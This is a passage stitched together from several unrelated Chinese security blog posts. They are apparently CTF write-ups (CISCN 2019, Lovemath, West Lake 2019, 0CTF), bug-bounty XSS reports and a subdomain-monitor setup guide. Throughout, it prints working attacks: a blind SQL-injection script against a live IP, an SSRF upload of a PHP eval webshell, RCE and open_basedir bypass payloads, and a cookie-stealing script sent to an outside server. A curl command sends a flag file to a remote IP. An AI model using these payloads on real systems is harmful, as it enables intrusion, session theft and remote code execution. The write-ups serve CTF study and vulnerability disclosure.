def curl(payload):
    r = requests.post('http://222.85.25.41:8090/shell.php', params={'a': 'login admin\'/**/and/**/(' + payload + ')/**/and/**/\'1\'=\'1 admin', 'totp': totp.now()},
                      data={'dir': '/', 'pos': '/', 'filename': 'usage.md'})
    if 'password' in r.text:
        return True
    else:
        return False


def sqli():
    for i in range(0, 2):
        # db_data = "SELECT/**/table_name/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=\'giftbox\'/**/LIMIT/**/{},1".format(
        #     i)
        # db_data = "SELECT/**/column_name/**/FROM/**/information_schema.columns/**/WHERE/**/table_schema=\'giftbox\'/**/and/**/table_name=\'users\'/**/LIMIT/**/{},1".format(
        #     i)
        db_data = "select/**/password/**/from/**/giftbox.users/**/where/**/username/**/=/**/'admin'/**/limit/**/{},1".format(
            i)
        db_res = ""

        for y in range(1, 64):
            for c in string.printable:
                db_res_payload = "substr((" + db_data + "),%d,1)/**/=/**/'%s'" % (y,c)
                if curl(db_res_payload):
                    db_res += c
                    print("> " + db_res)
                    break
                else:pass
            if db_res == "":
                break


if __name__ == '__main__':
    sqli()

最后注入password字段得到一个hint为hinT{g1ve_u_hi33en_c0mm3nd-sh0w_hiiintttt_23333},登陆成功同时提示

image_1dhi8qiij18ve18991q95u1skfb1m.png-86kB

Bypass open_dir

同时题目存在targeting命令,具体用法如下。结合之前的提示,推测是对每一个target进行一次eval的操作,因为targeting不允许存在双引号,所以用复杂变量${xxx(xxx)}的形式代替

image_1dhic3q29as9fln24sr29vts9.png-411.3kB

但是没有执行到system(whoami),推测是有open_dir,用网上的方法bypass:从PHP底层看open_basedir bypass

最后的payload如下,因为有长度限制,进行变量拼接

targeting a chdir
targeting b css
targeting c {$a($b)}
targeting d ini_set
targeting e open_basedir
targeting f ..
targeting g {$d($e,$f)}
targeting h {$a($f)}
targeting i {$a($f)}
targeting j base64_
targeting k decode
targeting l $j$k
targeting m Ly8v
targeting n {$l($m)}
targeting o {$d($e,$n)}
targeting p print_r
targeting q file_get_
targeting r contents
targeting s $q$r
targeting t flag
targeting u {$p($s($t))}
launch

image_1dhiec48lrbmsku1m3eu9pbjm2p.png-128.9kB

再次膜恩泽师傅..

CISCN 2019 Final Web11题解

CISCN 2019 Final Web11复盘

题目本身结合了很多知识点,比赛没做出来,这里进行复盘分析。

题目地址:http://web65.buuoj.cn/
题目源码:https://github.com/imagemlt/CISCN_2019_final_pmarkdown.git

简述

题目功能点很清晰:上传md文件、解析md文件为html(通过php拓展)

在Posts目录存在的.htaccess文件,表明md以php解析,不难想思路就是上传md来getshell

AddType application/x-httpd-php .md

但是上传是受到本地限制,也是这道题核心的考点。
image_1dgtncrha8qnb4qjv51vlahbj26.png-120.9kB

思路

在分析post.php时发现函数pmark_include
image_1dgtnif22m4n18851r7irll15r42j.png-22.1kB

它的作用是解析md为html,但在php官方文档并没有找到这个函数,说明是做题人自己编译出来的。在readme.md中同样提示pmarkdown基于pandoc的php解析markdown拓展

当时猜测肯定是这个函数能进行类似于csrf/ssrf的操作,让服务端帮我们上传文件,后续放的提示也证明确实存在一个ssrf的点,只可惜网上基于pandoc的md解析几乎没有php手册。

不过题目给出了编译后的so文件,那么只能分析opcode(垃圾web狗哭了)。

解题步骤

先是逆向so文件。由于是c编译而成,直接拖到ida用f5跟,麻烦pwn师傅教了我一手。下面大致讲一下调用栈,也可能有不对的地方望指正。

看到sub_1850函数发起了本地请求,并且路径为path
image_1dgv2l7tc14839tceud1invijj30.png-124.9kB

追踪哪里调用了sub_1850并且path的值从何获取,最终追到发起requests时会调用的回调函数zm_activate_pmarkdown
image_1dgv3d6mh1e31eao1pk91moij973d.png-28.8kB

进行调用的语句如下,不难发现进行了一个对v16参数的判断
image_1dgv3e7u2gt16cr1et2e8lu553q.png-38.9kB

这里就涉及到知识盲区了,由于不会ida的动态调试,没有确定参数值,这里只能从writeup入手分析条件判断的含义。

官方payload:

data='504f5354202f75706c6f61642e70687020485454502f312e310d0a486f73743a203132372e302e302e313a383038300d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031302e31333b2072763a36362e3029204765636b6f2f32303130303130312046697265666f782f36362e300d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e380d0a4163636570742d4c616e67756167653a207a682c656e2d55533b713d302e372c656e3b713d302e330d0a526566657265723a20687474703a2f2f3132372e302e302e313a383038302f696e6465782e7068703f6163743d75706c6f61640d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739370d0a436f6e74656e742d4c656e6774683a203234340d0a436f6e6e656374696f6e3a20636c6f73650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2266696c65223b2066696c656e616d653d226c6f676f75742e706870220d0a436f6e74656e742d547970653a20746578742f7068700d0a0d0a3c3f706870200d0a6576616c28245f524551554553545b615d293b0a0d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739372d2d0d0a'.replace('\n','')
data=data.decode('hex')
requests.post(url+'/index.php',data={'debug':"sadfas HTTP/1.1\r\nHOST:localhost\r\nConnection:Keep-Alive\r\n\r\n%s\r\n"%data},timeout=timeout)

这样不难理解判断的核心即是否存在debug参数,并且对v16取了24位地址偏移后的值传入下一层函数,也就是之前要最终的形参path。

在payload中的形式,相当于传递了两个http包,拼接后如下

POST whatever HTTP/1.1
Host: localhost
Connection: Keep-Alive

POST /upload.php HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Referer: http://127.0.0.1:8080/index.php?act=upload
Content-Type: multipart/form-data; boundary=---------------------------6693638881479522630623693797
Content-Length: 244
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------6693638881479522630623693797
Content-Disposition: form-data; name="file"; filename="shell"
Content-Type: text/php

<?php 
eval($_REQUEST[a]);

-----------------------------6693638881479522630623693797--

此时就可以把两个http包带入之前的path,构造一个完整的http包请求。而服务端在发送http请求时,会对请求包逐一发送。即先请求了whatever,建立http连接,connection:keep-alive 保持http的连接不被中断。

第二次请求data.decode(‘hex’),让server帮我们请求Upload并上传md文件从而getshell

后续

传了md就能解析php来getshell,只不过是要饶一个disable_function,预期解使用ld_preload去改变环境变量来bypass。不过有师傅提醒df过滤不全用popen也可以执行命令。

逆向功底太差了,有机会可以去抓个包分析一下debug参数的请求流程,最后膜出题师傅的知识渊博

前端全局变量劫持

前端全局变量劫持

最近看了wonderkun师傅的一篇文章,觉得还挺有意思的,收获颇丰。决定自己复现研究一下,原文地址:前端中存在的变量劫持漏洞

先说一下鸡肋的点,这个变量的劫持也只能是把变量劫持为正常页面的window对象,并不能随意修改变量的值

子页面获取

首先kun师傅介绍了三种父页面获取子页面windows对象的方式:

document.getElementById("iframe1").contentWindow;
window.frames[0]; 
window[0] ;

id值是一个全局变量,下例中test这个”id值”就代表iframe标签。也可以通过直接调用iframe内的name属性值获取该iframe的window对象
image_1df3psct91n0slcp85prp177u9.png-60.3kB

利用filter模式删除变量

无论是javascript还是调用标签,都无法覆盖已经定义的变量,但是却可以定义新的变量。

怎么让页面中出现未定义的全局变量呢?kun师傅提到chrome74之后,默认的xss auditor 从block模式编程了filter模式,可以利用这个删除掉页面中的代码。也就是说我们用一段xss代码触发chrome xss auditor删除xss引用的变量,从而达到替我们删除正常变量的目的。

这里简单介绍一下xss auditor

XSS-Auditor

XSS-Auditor是chrome默认开启的,也可以选择在header中关闭Auditor

X-XSS-Protection: 0

它的检测机制如文档中的描述
image_1df3ue0v61s3a1dcr1spb1dmt12ia1g.png-126.6kB

XSS Auditor采用黑名单方法来识别请求参数中提供的危险字符和标签。它还将查询参数与内容进行匹配以识别注入点。如果查询参数无法与响应中的内容匹配,则不会触发Auditor。

不过文档也有提到,基于上下文的检测的局限性使Auditor无法预防一些针对应用层的payload,这里不做深究。

删除变量demo

<script>var hpdoger = "remove me";</script>

当访问的参数以危险标签的形式出现在response中时,就会触发xss-auditor,成功删除自定义的hpdoger变量。下图可以看到变量被成功删除

http://localhost/iframe.html?xss=%3Cscript%3E%0A%20%20%20%20%20var%20hpdoger%20=%20%22remove%22;%0A%3C/script%3E

image_1df3uoatdojsl0fksa1e3b1nb21t.png-112.7kB

bypass同源之iframe

众所周知,用iframe去加载子页面会被同源限制(除非是cors配置的白名单)
image_1df3vq1ivipk1qo3a383ao1lnd2n.png-93.8kB

如果儿子页面也存在iframe(划重点),先通过操纵孙子c页面window对象来设置location,使其指向父页面a,这样父页面a和子页面b就同源了。之后再修改孙子页面c中window对象的name,其作用结果是:name作用域在子页面b的全局变量。

漏洞场景

这里不重复造轮子了,引用kun师傅的文章:https://xz.aliyun.com/t/5565#toc-4

孙子页面c

任意的页面

子页面b

image_1df5h2g811eg76b3bdo1v0b18dqm.png-53.8kB

父页面a

第一步很关键的一点就是修改c页面的location指向a。之后a页面就可以调用b的变量,同时通过iframe触发b页面的xss auditor
image_1df5grfcl16f71ejc1j5upqr10re9.png-127.5kB

第二步修改孙子页面c的name,从而帮b页面注册一个全局变量名为”hpdoger”
image_1df5h8abti9j1bptl671to1e3213.png-72.1kB

这样就成功替换掉b页面的hpdoger变量,同时a页面也可以访问b页面这个全局变量hpdoger(但是不能访问b的其他变量。因为我们通过c页面做跳板,只能访问c的属性间接访问到b的变量,我叫他”同名法则”)。不过前文也提到了这个鸡肋的地方,就是一个变量替换成window对象,受用面很有限。。

2019国赛Web线上题目Lovemath多解WP

2019国赛Web线上题目Lovemath多解WP

题目质量很不错,这题整整做了七个小时,从一开始想着拿一血到后来的自闭。

题目代码

<?php 
error_reporting(0); 
//听说你很喜欢数学,不知道你是否爱它胜过爱flag 
if(!isset($_GET['c'])){ 
    show_source(__FILE__); 
}else{ 
    //例子 c=20-1 
    $content = $_GET['c']; 
    if (strlen($content) >= 80) { 
        die("太长了不会算"); 
    } 
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; 
    foreach ($blacklist as $blackitem) { 
        if (preg_match('/' . $blackitem . '/m', $content)) { 
            die("请不要输入奇奇怪怪的字符"); 
        } 
    } 
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp 
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 
    foreach ($used_funcs[0] as $func) { 
        if (!in_array($func, $whitelist)) { 
            die("请不要输入奇奇怪怪的函数"); 
        } 
    } 
    //帮你算出答案 
    eval('echo '.$content.';'); 

}

解题思路

代码有一个黑名单blacklist&白名单whitelist。黑名单肯定是绕不过去,虽然正则给了/m模式的情况下可以采用换行绕过,但是\r也在封杀范围所以直接pass。注意看whitelist后面的逻辑:正则匹配所有字母,用foreach逐个比对匹配的字母。
image_1d94aluchp6k1a607ht1ml2132q9.png-224.4kB

也就是说只允许Eval使用白名单的函数做字符串

所以思路就很明确,既然参数从白名单出来后被执行,那漏洞点肯定就在白名单的函数。由于正则匹配字母的规则,使我们传入的实参不能是字母,否则就会进入判断如下
image_1d9419hr91e511p621k4l177k1a5726.png-31.6kB

想办法把数字变成字母,再通过eval进行RCE。着眼于函数base_convert,官方描述如下
image_1d94aoodi184tdml1udl7q91b0gm.png-126.9kB

它允许我们将10进制数转换为最高36进制,结果为字符串。完美解决了数字到字母的转化,成功打印phpinfo如下
image_1d94ard4e1orte5mo6a1oj6hjj1j.png-396.7kB

POC-1

因为字符串长度限制,我最开始的想法是这样的:

$input = hexdec(bin2hex("system('cat /flag');"))
$result = base_convert(10进制编码字符串hex2bin,10,36)(dechex($input))

完整转换是这样:

base_convert(37907361743,10,36)(dechex(9148825951463535960001056079872))

但是由于bin2hex后转换出来的16进制数值过大,导致hexdec转换的int值很大无法正常被dechex还原而溢出。在赛后看到一种payload,很聪明的避免了大数溢出的情况,如下

base_convert(47138,20,36)(base_convert(3761671484,13,36)(dechex(474260465194)))

image_1d941nbdm171k17a3lhg16ii1knh3q.png-24.3kB

正好79个字母堪称完美…解码后的调用栈如下
47138->exec

POC-2

这个是看到ROIS队伍师傅的poc

$pi=base_convert;$pi(371235972282,10,28)(($pi(8768397090111664438,10,30))(){9})

解码出来是system(getallheaders(){9})

也是很聪明的解法。变量赋值pi减少长度,用getallheaders动态传入参数,之前在code puzzle中见过这样的用法

POC-3

这种就是比赛时我的解法。一种小数还原的思路。我们只需要构造_GET为16进制数,这个16进制转换出来的十进制就不会很大,自然在dechex也不会溢出。Payload如下,注意用白名单的值作为变量参数,否则还是会被waf

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){0}(($$p){1})

转换的调用栈如下:
image_1d94271vhpqtbtv1mk1v7upa047.png-32.8kB

直接发包给到C参数,成功getflag。
image_1d9427hgv862p0f8bluecra94k.png-83.5kB

西湖论剑2019-Writeup

西湖论剑2019-Writeup

Author:Hpdoger@D0g3

这次比赛的Web题顺序放的很有意思。先放web3、再web2、接着web1来了个bug题被秒。ak了三个web之后本来都出去买奶茶喝了,结果比赛末尾有师傅说上了个web4…好在最后零解23333

Web-3

扫描到DS_Store文件泄露:http://ctf3.linkedbyx.com/11182/DS_Store
image_1d7rcmc741ep8qtr17um15g5v49.png-31.9kB

扫描了一下e1xxx这个自路径发现一处git泄露:
image_1d7rcont5k191lp1131q17k81eri4m.png-38.3kB

访问到github仓库:https://github.com/cumtxujiabin/zip
image_1d7rcp5i018i0sesg9a1oec9g353.png-78.6kB

源码git clone下来看,发现Backup这个zip包需要密码,但是同文件夹下有Index.php和jpg被解压出来了。猜测是已知明文攻击
image_1d7rcsqca1qcl1538t7j1mpti6f60.png-37.5kB

用AR跑了一下得到hint文件
image_1d7s0v7dd1djv10opn7j11jq113cei.png-72.4kB

点开hint有两个提示,

  1. 很明显这个code就是之前首页的参数值
    image_1d7riioviv8dnt21j3g1m6s1l9j6q.png-14.9kB
  2. seed应该暗示着随机数/种子

拿着Code请求得到一个数,结合hint猜测是要用兑换码爆破随机数种子
image_1d7rilc951g6t1idm1qtg1osbjnv77.png-61.2kB

最后跑出来种子+.txt后缀请求得到flag
image_1d7rkjigs14vl1gg9h801mr18onag.png-40kB
image_1d7rkfg2e1enjh0g1kif2lb14ala3.png-23.2kB

略脑洞。。

Web-2

题目环境关了有些无法截图

随便输入账号都能登陆,有留言功能、提交给管理员url的功能和EXEC页面,EXEC我推测是个命令执行但是需要管理员权限,所以应该是XSS->admin->rce。留言位置可以插入标签iframe\img\svg.. 但是过滤掉了等号,会被转译成:),我测试的时候用iframe以base64编码属性就能绕过

<iframe/src="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==

编码内容即<img src=x onerror=alert(1)>,可以弹出对话框,

看到了提交Url处有这么一句话,大致好像是这么说的:管理员会拿着你的token来请求页面,之前还在想管理员怎么请求到我的main(因为我测试可以缓存js文件,可能也是一个方面),但是看到这里就完全不用担心了,直接X一个储值型的标签打COOKIE

但是测试用js uri加载外源js不能成功,打不到cookie。

那么我们可不可以直接src下调用Javascript伪协议执行一段js发送COOKIE到平台呢?用ascii编码html字符去bypass

编码转换+exp如下
image_1d7rllved1r0b1ku31lp717bi3hdat.png-71.2kB

url编码处理一下&、#字符
image_1d7rloelagnr1aib1g56184q16cpba.png-153kB

在平台打到cookie,发现存在admin字段
image_1d7rlvepfab61co61oj45l6nctc4.png-36.5kB

带着admin字段去exec.php执行命令就行了
image_1d7rm2jhs1ijc1t2898epplgch.png-70.5kB

curl+'http://50.16.48.95/'+--data+"`cat+/flag.txt`"

image_1d7rm3mr9ffe1d2gqr93lp1obcu.png-57kB

编码转换的exp如下

# Author:Hpdoger@d0g3

html_old = "javascript:var website='http://xssye/index.php';(function(){(new Image()).src=website+'/?keepsession=1&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();"

buffer = ""

for zimu in html_old:
    zimu = ord(zimu)
    zimu = "&#"+("%07d") % (zimu)
    # print("&#"+zimu)
    buffer = buffer + zimu
print(buffer)

web-1

这题上来就有个提示$_GET[‘file’],打了下etc/passwd有内容

看到有个提示,base64解码之后是,dir.php
image_1d7rmb67sieflmcrj41nmodcsdb.png-66.1kB

请求dir.php,同时fuzz参数,有个dir(其实略脑洞,我只尝试了file、dir、path就出来了。。
image_1d7rmfl1j1rab1ind11sb1ffr1bshdo.png-212.3kB

看到根目录存在ffxxx的文件,直接用file去读
image_1d7rmhg0ls1l3ptm8k29n614e5.png-27.7kB

MISC3 TTL隐写

给了个本文,里面是很多TTL值。hint说隐藏了信息。
image_1d7ttpfr51j1m1jks1rd3bafkqjp.png-31.8kB

在网上找了一下,发现在MISC中有一项技术叫TTL隐写。

大致的隐写流程如下:
将TTL的值转为8位二进制,高位补0,取头两位的二进制。这样4个TTL的值就能取够一个8位的二进制数,再将这个8位的二进制转换为字符(因为一个字符=一个字节=8位二进制)。

这就是成功将字符隐写在TTL值中,所以只需要逆出来取8位还原成字符就行,写了个提取脚本

#! /usr/bin/python3
# Author: Hpdoger@d0g3

count = 0
change_list = []
word_list = ''
zimus = ''

with open("ttls.txt","r") as file:
    for ttl in file.readlines():
        change_list.append(ttl.replace('TTL=',''))
        if len(change_list) == 4:
            for num in change_list:
                num = int(num)
                a = bin(num).replace('0b','')
                b = str("%08d" % int(a))
                infront = b[0:2]
                word_list = word_list + infront


            zimu = int(word_list,2)
            zimus = zimus+chr(zimu)
            word_list = ''
            change_list.clear()
            count = 0

with open('results.txt','w') as file2:
    file2.write(zimus)

转换出来的结果如下
image_1d7tu4dn0ncj1f5s1o7j15641ggr19.png-147.1kB

一看就是16进制,开头ffd8ff是图片头,拖到winhex里还原成图片就行了,最后还原出来4个二维码。

拼接扫描得到:

key:AutomaticKey cipher:fftu{2028mb39927wn1f96o6e12z03j58002p}

维吉尼亚密码解密,得到
flag{2028ab39927df1d96e6a12b03j58002v}
再进行一次字母转换
e->j,e->v
flag{2028ab39927df1d96e6a12b03e58002e}

SRC挖掘初探之随缘XSS挖掘

原文首发于先知社区:https://xz.aliyun.com/t/4625

Author:Hpdoger@D0g3

最近试着去学挖洞,在测某SRC的一些业务时发现以下几个XSS的点。对于一些请求参数在返回的html中以隐蔽的标签形式出现的XSS,感觉还是挺常见的。这里我写了个Bp的插件用来监听请求并捕获这种情况:SuperTags

下面的案例和讨论如果有什么片面或错误的地方,还望师傅们斧正

登陆跳转处XSS

某处登陆页面看了眼表单,同时跟进事件绑定的对象utils
image_1d6vk2rs4g541hq8olo1sf275i1g.png-83kB

直接截出登陆验证部分,redata是响应参数,登陆成功为0。host定义为normal.com。这里发现其实在登陆的时候是可以存在一个cb参数的(但之前我登陆的时候并没有察觉,因为是后台有个功能loginout,点击才会附带cb参数到登录页)

其中,getparam方法如下

getParam: function(c_name) {
    var urlParams = location.href;
    var c_start = urlParams.indexOf(c_name + "=");銆€
    if (c_start != -1) {
        c_start = c_start + c_name.length + 1;銆€
        c_end = urlParams.indexOf("&", c_start);
        if (c_end == -1) {
            c_end = urlParams.length;
        }
        return urlParams.substring(c_start, c_end);
    }else{
        return null;
    }
},

这里开发者还是对cb参数进行了意识形态的过滤,如果cb不包含host则强制重定向首页。但是略鸡肋,直接把host放在注释符后就能绕过。
image_1d6vkg95e1vjv155m1s1n1c7oook3d.png-54.2kB

POC:

cb=javascript:alert(document.cookie);//normal.com

image_1d6vko6a51n64961h1pcd370647.png-127.7kB

Image处的XSS

这是该厂商的一个移动端业务,在我测之前已经有表哥X进去了,看一下这个洞是如何产生的。

功能点:提交问题反馈,可以上传问题图片
image_1d6vivcc51p0mpm5hb61kgqti29.png-76.5kB

漏洞逻辑:
上传图片->提交反馈->服务端拼接提交的img参数(uri)为img标签src属性的完整地址

测试上传一个图片后,点击提交反馈并抓包,imglist参数是刚才上传图片返回的uri地址。
image_1d6vj4nch1a5p118b18ci1gu31olam.png-235.9kB

POST xxxx?q=index/feedback HTTP/1.1

imglist=%2Cpicture%2F2019%2F02%2F22%2F_a948b4eeaca7420cad9d54fdb0331230.jpg&

问题就出在拼接标签这部分,修改imglist参数就可以闭合Src属性进行xss,使最终的img标签执行onerror事件

步骤:抓包修改img路径->拼接恶意js事件,POC:

imglist=urlencode(" onerror="alert(`XSS�`)">

成功弹窗
image_1d6vjv0dfkis172e1mkpd9b78c13.png-78kB

邮件提交处的XSS

在测试某业务的邮箱密码验证时,发现一个包含请求邮箱的页面。

image_1d6vf99vp1smijbq1q9pa1s1sfh2d.png-297.8kB

记得之前看过一篇文章,有些服务在发送完邮件后会弹出一个“邮件已发送+email”的页面导致反射型XSS,感觉就是这种了。

随手测试了一下,发现直接waf了空格、双引号、尖括号,和”"。实体了html编码的尖括号,但是没有实体html编码的双引号。
image_1d6vf627h11u1ru6slc13uu1qqt1j.png-337.5kB

同时在FUZZ的期间多次出现参数错误的请求,发现可能是应用层做了些过滤:

  1. email字符串长度<40且@结尾
  2. 不能同时出现两个双引号、括号
  3. 正则alert(1)\prompt(1)\confim…

不过只要脱离引号就好说,毕竟有很多JS事件可以调。一开始把眼光放在了input标签上测试了一些on事件,发现type是hidden,一些可视on事件都没用的。记得之前看过一个input hidden xss的一个用法是按alt+shift+x触发,poc如下

urlencode(email=&#34/accesskey=&#34X&#34/onclick=&#34alert&#40'xss'&#41&#34@qq.com)

image_1d6vfebe9k0q1704vhff8u16cq2q.png-39kB

但是这个poc很鸡肋。因为要打出cookie的话长度受限,且利用条件苛刻(firefox+按键)

回头看了下发现有form标签也有输出点,最初以为form能执行的JS事件就只有reset和submit,后来测试跑onmounseover也能弹框。

encodeurl(email=&#34/onmouseover=&#34alert&#40document.cookie&#41&#34@qq.com)

image_1d71n2s5m1mnpvbslfj1iatkg99e.png-70.9kB

一个受阻的XSS

在测试某业务时发现一个有趣的参数拼接点:

iframe的src拼接url参数+后端给定的第三方host->iframe加载src

测试了一下特殊字符都给实体化了,但是又舍不得一个iframe
image_1d6vl16bn14i9ihun3ovnvnd4k.png-187.5kB

经过一番寻找,发现第三方服务的登陆点存在JS跳转漏洞,用iframe加载这个第三方服务的dom-xss也能造成弹框效果
image_1d6vleeqr1r4613u81e81cja1m3h5h.png-106.4kB

虽然是在SRC业务站点弹的框,但真正的域应该是子页面的。打印一下COOKIE验证,果然是子页面域的cookie。由于waf掉了document.cookie和javascript:alert,我用了html编码的’:’和八进制js编码的’.’绕过,完整打印子页面域payload如下

https://src.com?url=redirect_uri%3Djavascript%26%23x3A%3Bconsole.log(document\56cookie)

在进一步的探索中,我做了两个尝试:

  1. 尝试跳一个外域的JS,看能不能把src属性转到这个js
    https://src.com?url=redirect_uri%3Dhttps://evil.com/xss.js
    但是会把资源解析到子页面的document里,而不是src的改变
    image_1d6vm2dvb1ls2185k1hof58miho5u.png-128.4kB
  1. iframe是否能调用父页面的事件呢(document)?如果可以的话我们就直接调js uri把cookie打出去。之所以有这个想法是因为,当时寻思既然站点调用这个三方服务了,很大可能性这个三方站是iframe-src白名单。不过测试后发现依然被跨域限制,测试payload
    https://src.com?url=redirect_uri%3Djavascript%26%23x3A%3Bconsole.log(window.parent.document\56cookie)
    image_1d6fi5odbg1pnb7nfdgs7ji6p.png-13.7kB

对跨域姿势了解的不多,如果有兴趣的师傅,可以一起来交流一下这种问题

自闭总结

从打ctf到学着去挖洞,还是有一些思维出入的地方,慢慢理解之前师傅们说的资产收集的重要性。

也特别感谢引路人鬼麦子师傅给予的帮助,这里顺便推荐麦子师傅基于爬虫的一款开源子域名监控工具get_domain,在搭建过程中如果遇到环境配置问题,可以参考这篇Ubuntu16.04-Get_domain搭建手册

Ubuntu16.04-子域名监控工具Getdomain环境搭建

Ubuntu16.04-子域名监控Get_domain环境搭建

操作环境:Ubuntu16.04
数据库:Mongdb
项目地址:https://github.com/guimaizi/get_domain

各种依赖安装

sudo apt-get install git python3 python3-pip xvfb unzip libxss1 libappindicator1 libindicator7 -y

sudo pip3 install selenium pymongo

安装mongodb服务端

  1. 添加mongodb签名到APT
    sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv EA312927
  2. 创建/etc/apt/sources.list.d/mongodb-org-3.2.list文件并写入命令
    echo "deb http://repo.mongodb.org/apt/ubuntu xenial/mongodb-org/3.2 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.2.list
  3. 更新软件源列表
    sudo apt-get update
  4. 安装mongodb(默认是安装稳定版)
    sudo apt-get install -y mongodb-org

配置mongodb服务端

  1. 修改配置文件/etc/mongodb.conf

    修改后的内容如下:
    bind_ip = 0.0.0.0
    port = 27017
    auth=true (添加帐号,密码认证)

    修改后重启mongodb:sudo service mongodb restart

  2. 添加超级用户

    use admin
    db.createUser({user:'admin',pwd:'123456aaa1xsda1A',roles:[{role:'userAdminAnyDatabase',db:'admin'}]})
    db.auth('admin','123456aaa1xsda1A')
  3. 添加扫描器用户

    use target_domain
    db.createUser({user:'target',pwd:'123456aaaxsda1A',roles:[{role:'readWrite',db:'target_domain'}]})
    db.auth('target','123456aaaxsda1A')

安装chromedriver

先安装Chrome浏览器

sudo apt-get install libxss1 libappindicator1 libindicator7
wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
sudo dpkg -i google-chrome*.deb
sudo apt-get install -f

再安装chromedriver

wget -N http://chromedriver.storage.googleapis.com/72.0.3626.7/chromedriver_linux64.zip
unzip chromedriver_linux64.zip
chmod +x chromedriver
sudo mv -f chromedriver /usr/local/share/chromedriver
sudo ln -s /usr/local/share/chromedriver /usr/local/bin/chromedriver
sudo ln -s /usr/local/share/chromedriver /usr/bin/chromedriver

安装go-lang

$ sudo apt-get update
$ sudo apt-get -y upgrade
$ wget https://storage.googleapis.com/golang/go1.7.linux-amd64.tar.gz
$ sudo tar -xvf go1.7.linux-amd64.tar.gz
$ sudo mv go /usr/local

设置gopath

vim /etc/profile
export GOROOT=/usr/local/go  #设置为go安装的路径,有些安装包会自动设置默认的goroot
export GOPATH=$HOME/gocode   #默认安装包的路径
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin
source /etc/profile

go env看一下是否设置成功

设置Python默认为Python3

文章:https://blog.csdn.net/u011534057/article/details/51615193

使用文章的第二种方法:在系统级修改 Python 版本

下载subfinder

go get github.com/subfinder/subfinder

报错没关系,只要文件里有bin src就行

后续步骤

http://www.guimaizi.com/archives/360的启动说明

crontab定时执行任务:https://www.jianshu.com/p/838db0269fd0

crontab文件如下,每天12点执行:

# everday 12:00 am exec
0 0 17 * * ? python /home/get_domain/while_update.py

注意最后要留个空行

Mongodb操作

更新,否则无法进行对比,更新状态到0

db.getCollection('xxx').update({'state':1},{$set:{'state': NumberInt(0)}},{multi:true})

一直运行random_start

nohup python -u random_start.py > nohup.log 2>&1 &

记得修改random_start的代码为while 1
可以修改五次config,运行五个后台程序

各种报错解决

报错代码127

selenium.common.exceptions.WebDriverException: Message: Service chromedriver unexpectedly exited. Status code was: 127

原因是browser版本过低,跟driver不匹配,升级browser

apt-get install chromium-browser

权限报错

selenium.common.exceptions.WebDriverException: Message: unknown error: Chrome failed to start: exited abnormall

chromedriver在py程序里没权限,修改代码Browser.py

chrome_options.add_argument('--headless')
chrome_options.add_argument('--no-sandbox') 

相关链接

安装mongodb:https://www.jianshu.com/p/5598f1dcbb98

0CTF2019-Web1WriteUp

0CTF Web1

第一次打0ctf,长见识了,各路神仙满天飞..

题目地址:http://111.186.63.207:31337

需要一个karaf认证,直接双写karaf
image_1d6nu1vae155hklkc5e15c41ak99.png-15.3kB

当时组内师傅说有jolokia
image_1d6nu81co9hr1ac74nk2rs1n3um.png-49.8kB

去搜了一下jolokia的洞,看到了Lucifaer师傅的两篇分析文章
https://lucifaer.com/2019/03/11/Attack%20Spring%20Boot%20Actuator%20via%20jolokia%20Part%201/#0x05-poc%E6%9E%84%E9%80%A0

https://lucifaer.com/2019/03/13/Attack%20Spring%20Boot%20Actuator%20via%20jolokia%20Part%202/#0x04-%E6%9E%84%E9%80%A0poc

大致意思就是,执行器可以调用jolokia的list里类的函数来执行一些操作。可是搜了一下List没有logback可以用,但是题目里很明显提示有karaf,那么是否可以通过控制器的poc安装一个karaf控制台呢?所有karaf的时候有下面这个op

image_1d6qgq8tn1qaa1hhlbr2nl413s11m.png-7.2kB

